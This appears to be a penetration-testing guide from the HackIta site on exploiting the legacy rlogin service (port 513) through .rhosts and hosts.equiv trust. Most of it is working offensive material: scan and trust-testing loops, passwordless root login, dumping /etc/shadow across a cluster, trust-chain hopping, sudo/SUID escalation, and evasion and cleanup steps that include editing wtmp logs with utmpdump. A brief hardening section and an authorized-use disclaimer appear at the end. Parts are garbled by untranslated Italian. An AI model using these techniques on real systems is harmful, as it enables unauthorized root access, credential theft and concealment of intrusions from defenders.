Port 513 Rlogin: .rhosts trust, root access and legacy Unix lateral movement

Executive Summary — rlogin port 513 exposes the BSD Remote Login service, which authenticates via file trust (.rhosts, hosts.equiv) instead of password. A configuration + + Trust files allow root access from any host without credentials. This guide covers trust enumeration, unauthenticated access, trust chain exploitation, and pivoting to the internal network.

TL;DR

• Rlogin is based on trust relationship: se .rhosts o hosts.equiv contain + +, anyone can log in as root without a password
• Even without wildcards, you can exploit partial trusts if you have compromised a trusted host.
• Cleartext traffic — interactive shell, commands, typed credentials: all sniffable

Port 513 rlogin is the Remote Login service of the BSD r-commands family. The fundamental vulnerability of port 513 lies in the authentication model: rlogin does not ask for a password if the source host is “trusted” in the files. .rhosts o /etc/hosts.equivPort 513 enumeration reveals not only whether the service is active, but whether exploitable trust relationships exist that allow direct access. In a pentest, rlogin is the vector that transforms a single compromised host into root access to the entire legacy network—thanks to trust chains. In the kill chain, it acts as a lateral movement vector: from one trusted host, you can jump to others without credentials.

1. Technical Anatomy of the Door 513 #

Port 513 is registered as IANA login over TCP protocol. The daemon rlogind manages connections, typically via inetd/xinetd.

The rlogin authentication flow:

1. TCP handshake on port 513 (client must use a privileged source port, <1024)
2. Client → Server: null byte, local username, remote username, terminal type
3. Server & Hosting: trust verification — check hosts.equiv e ~user/.rhosts for source IP/hostname and username
4. If trusted: interactive shell without password. If not trusted: password prompt (fallback)

Trust files work like this: /etc/hosts.equiv applies to all users (except root), ~/.rhosts applies to the specific user (including root). The format is hostname [username]The wildcard + + means “trust all hosts for all users”.

Misconfig: hosts.equiv con "+ +" (trust globale)
Impatto: qualsiasi host può accedere come qualsiasi utente senza password
Come si verifica: rlogin -l root [target] — se ottieni shell senza password, il trust è attivo

Misconfig: .rhosts di root con wildcard
Impatto: accesso root da qualsiasi host senza autenticazione
Come si verifica: rlogin -l root [target] da qualsiasi IP

Misconfig: rlogind attivo su interfacce pubbliche senza TCP Wrappers
Impatto: attacker esterni possono tentare trust exploitation
Come si verifica: nmap -sV -p 513 [target] da rete esterna

2. Basic Enumeration #

Command 1: Nmap #

nmap -sV -sC -p 513 10.10.10.40

Expected output:

PORT    STATE SERVICE VERSION
513/tcp open  login   rlogind
| rlogin-brute:
|_  No valid accounts found

Parameters:

• -sV: confirm the service as rlogind
• -sC: default script included rlogin-brute (basic test)
• -p 513: Remote Login specific port

Command 2: Direct Rlogin #

rlogin -l root 10.10.10.40

Expected output (trust active):

Last login: Thu Feb 05 10:30:00 from 10.10.10.100
SunOS 5.11
root@prod-srv01:~#

Expected output (trust not active):

Password:

What this output tells us: if you get the prompt root@...# Without being asked for your password, the trust file authorizes your host. If it appears Password:, trust isn't configured for your IP—but rlogin still accepts (cleartext) password attempts. The difference between these two outputs is the difference between instant login and credential spray.

3. Advanced Enumeration #

Trust verification for multiple users #

for user in root admin oracle bin daemon; do
  echo -n "Testing $user: "
  timeout 3 rlogin -l "$user" 10.10.10.40 < /dev/null 2>&1 | head -1
done

Output:

Testing root: Last login: Thu Feb 05 10:30:00
Testing admin: Password:
Testing oracle: Last login: Wed Feb 04 15:00:00
Testing bin: Login incorrect
Testing daemon: Login incorrect

Reading the output: root e oracle have active trust (direct login without password). admin asks for password (trust not configured for this user). bin e daemon are disabled for login. Focus on root and oracle as access vectors. To analyze trust files in detail, follow the post-exploitation techniques on Unix.

Reading trust file from compromised host #

If you already have access to a host (via rexec, for example — see the port 512 guide ):

cat /etc/hosts.equiv 2>/dev/null
cat /root/.rhosts 2>/dev/null
find /home -name .rhosts -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null

Output:

=== /etc/hosts.equiv ===
prod-srv02
prod-db01
+ oracle

=== /root/.rhosts ===
prod-srv02 root
10.10.10.45 root

Reading the output: prod-srv02 It is trusted by all users (except root via hosts.equiv). + oracle This means that Oracle can log in from any host. Root is trusted only by prod-srv02 e 10.10.10.45This data maps the entire trust chain.

Trust chain enumeration on the network #

# Da un host compromesso, cerca tutti gli host con rlogin attivo
nmap -sV -p 513 10.10.10.0/24 --open -Pn | grep "open"

Output:

10.10.10.40 - 513/tcp open login
10.10.10.41 - 513/tcp open login
10.10.10.42 - 513/tcp open login

# Testa trust da questo host verso tutti
for host in 10.10.10.40 10.10.10.41 10.10.10.42; do
  echo -n "$host root: "
  timeout 3 rlogin -l root "$host" < /dev/null 2>&1 | head -1
done

Output:

10.10.10.40 root: Last login: Thu Feb 05
10.10.10.41 root: Password:
10.10.10.42 root: Last login: Wed Feb 04

Reading the output: From this host, you have root trusts to .40 and .42. From those hosts, repeat to map the entire trust chain. Each trusted hop expands your access surface. Integrate this data into the kill chain map.

4. Offensive Techniques #

Root login without password (trust exploitation)

Context: hosts.equiv or .rhosts configured to trust your host (or with wildcard).

rlogin -l root 10.10.10.40

Output (success):

root@prod-srv01:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)

Output (failure):

Password:
Login incorrect

What do you do next: root shell without password. Immediately: cat /etc/shadow, cat /root/.rhosts, cat /etc/hosts.equiv to expand the trust chain to other hosts.

Trust chain hopping

Context: Host A trusts you, host B trusts host A. From A, you jump to B without credentials.

# Da host A (dove hai già accesso):
rlogin -l root 10.10.10.42

Output (success):

root@prod-db01:~# hostname
prod-db01

Output (failure):

Password:

What do you do next: You're on a third host (prod-db01) still as root, without ever having entered a password. Continue the chain — read .rhosts to find the next hop. This technique scales exponentially with the number of trusted hosts. To automate, see pivoting techniques.

Partial trust abuse (user-to-root)

Context: You are trusted as an unprivileged user. From user login, escalate to root.

# Login come oracle (trusted)
rlogin -l oracle 10.10.10.40

# Da dentro, verifica sudo o SUID
oracle@prod-srv01:~$ sudo -l
oracle@prod-srv01:~$ find / -perm -4000 -type f 2>/dev/null

Output (success):

User oracle may run the following commands:
    (ALL) NOPASSWD: /usr/bin/sqlplus

Output (failure):

oracle is not in the sudoers file. This incident will be reported.

What to do next: If sudo is available on a specific command, search for GTFOBins for escalation. If there are any unusual SUIDs, analyze them. Even without privesc, Oracle access provides database access—extract sensitive data with database exploitation techniques.

5. Practical Pentest Scenarios #

Scenario 1: Enterprise Unix cluster with trust chain #

Situation: Cluster of 5 Solaris servers in a datacenter. Trust .rhosts configured between them for automation. You've compromised the jump host.

Step: 1

rlogin -l root 10.10.10.40
cat /etc/hosts.equiv

Expected output:

prod-srv02
prod-srv03
prod-db01
prod-db02

Step: 2

for host in prod-srv02 prod-srv03 prod-db01 prod-db02; do
  echo "=== $host ==="
  rlogin -l root "$host" -e none cat /etc/shadow | head -3
done

Expected output:

=== prod-srv02 ===
root:$6$...:19400:0:99999:7:::
oracle:$6$...:19350:0:99999:7:::

If it fails:

• Probable cause: DNS does not resolve hostname — rlogin uses hostname, not IP
• Fix: Add mappings in /etc/hosts local or use IP: rlogin -l root 10.10.10.41

Estimated time: 5-15 minutes for the entire cluster

Scenario 2: Segmented network with rlogin as the only carrier #

Situation: Segmented network, firewall only allows port 513 between DMZ and server zone (legacy). SSH is not configured on internal servers.

Step: 1

nmap -sV -p 513 10.20.0.0/24 --open -Pn

Expected output:

10.20.0.10 - 513/tcp open login
10.20.0.11 - 513/tcp open login

Step: 2

rlogin -l admin 10.20.0.10

Expected output:

admin@internal-srv01:~$

If it fails:

• Probable cause: rlogin requires a source port <1024 (privileged). If you are not root on the jump host, you cannot use privileged ports.
• Fix: use ncat --source-port 1023 10.20.0.10 513 as root, or set the capability CAP_NET_BIND_SERVICE

Estimated time: 10-20 minutes

Scenario 3: OT environment with legacy trusts #

Situation: Industrial network with HMI on HP-UX. Trust .rhosts between all control systems.

Step: 1

rlogin -l root 192.168.1.50

Expected output:

root@hmi-ctrl01:/# uname -a
HP-UX hmi-ctrl01 B.11.31 U ia64

Step: 2

cat /root/.rhosts

Expected output:

+ +

If it fails:

• Probable cause: Your hostname is not resolvable by the HP-UX target
• Fix: Configure reverse DNS or add your IP in /etc/hosts of the target (if you have access from another carrier)

Estimated time: 5-10 minutes if the trust is wildcard

6. Attack Chain Complete #

Recon (scan 513) → Trust Test → Shell senza password → Shadow Dump → Trust Chain Hop → Full Cluster Access

Estimated timeline: 10-30 minutes to compromise an entire cluster with active trust.

Port 513's role: It's the quintessential lateral movement vector on legacy Unix networks. A single wildcard trust gives a compromised host root access across the entire network.

7. Detection & Evasion #

What the Blue Team monitors #

• rlogind logs: /var/log/auth.log, /var/adm/wtmpx (Solaris), /var/adm/syslog (AIX)
• TCP Wrappers: /etc/hosts.deny e /etc/hosts.allow — if configured, log refused connections
• IDS: rules for r-commands (TCP cleartext traffic on ports 512-514)
• SIEM: alert on root login from non-whitelisted IP

Evasion Techniques #

Tecnica: Login da host già trusted
Come: assicurati che il tuo host sorgente sia nella lista trust prima di connetterti — se hai modificato .rhosts su un host intermedio
Riduzione rumore: il login appare legittimo nei log (host trusted, utente previsto)

Tecnica: Usare hostname corretto
Come: rlogin verifica l'hostname reverse DNS. Assicurati che il tuo IP risolva nel nome previsto dal file trust
Riduzione rumore: match perfetto nel log — indistinguibile da traffico legittimo

Tecnica: Sessioni brevi e mirate
Come: esegui i comandi necessari e disconnetti. Non mantenere shell idle per ore
Riduzione rumore: sessioni brevi generano meno entry in wtmp/utmp

Post-Exploitation Cleanup #

• If you have modified .rhosts to add trust: remove the added line
• rlogin sessions are logged in wtmp/utmp — with root access you can edit with utmpdump
• Check with last that there are no visible anomalous sessions

8. Toolchain and Comparison #

Comparative table #

9. Troubleshooting #

10. FAQ #

Q: What is rlogin and how does the port 513 trust work?

A: Rlogin is a Unix remote login service on TCP port 513. It authenticates via file trust: if the source host and user are listed in /etc/hosts.equiv o ~/.rhosts of the target, access is granted without a password.

Q: What does “++” mean in the .rhosts file?

A: The double wildcard + + in .rhosts means “any host, any user” — full access without authentication. If you find it in the .rhosts As root, you have root access from any IP on the network.

Q: Does Rlogin require a privileged source port?

A: Yes. The rlogin client must use a source port lower than 1024 (the privileged port) to be accepted by the server. This means you must be root on the attacking machine to use the standard client.

Q: How do I enumerate a network's trust chain with rlogin?

A: From every compromised host, read /etc/hosts.equiv e ~/.rhosts of all users. Map the trust relationships. Then test rlogin from each host to all others to verify two-way trust. Repeat recursively.

Q: How do I disable rlogin on legacy systems?

R: Comment on the line login in /etc/inetd.conf and restart the daemon (kill -HUP (on inetd). Alternatively, block port 513 with TCP Wrappers: echo "login: ALL" >> /etc/hosts.deny.

11. Final Cheat Sheet #

Why Porta 513 is relevant in 2026 #

Rlogin survives in legacy Unix cluster environments—Solaris, AIX, HP-UX—where trust relationships are the standard mechanism for inter-host automation. Migration to SSH is often incomplete. In OT/ICS environments, HMI and SCADA systems on Unix still use r-commands for maintenance. Always check ports 512-514 during internal engagement.

Hardening and Mitigation #

• Disable rlogind: remove the line login da /etc/inetd.conf
• Delete all files .rhosts e hosts.equiv: find / -name .rhosts -delete
• Migrate to SSH with public key authentication
• If rlogin is temporarily needed: TCP Wrappers restrictions + hosts.equiv with only specific hostnames (never +)

OPSEC for the Red Team #

An rlogin login is recorded in wtmp/utmp and visible with lastNoise is low if the trust is active (successful login on the first attempt = normal use). The risk increases if you have to fail multiple times to find the trust. For maximum invisibility: read .rhosts from an already compromised host before attempting to rlogin, so you know in advance if the trust will work.

All commands and techniques are intended for authorized environments only: contracted penetration testing, lab, CTF. Reference: RFC 1282 (BSD Rlogin), rlogind(8) manpage.

Want to support HackIta? Visit hackita.it/supporto to donate. For professional penetration testing and one-on-one training, check out hackita.it/servizi.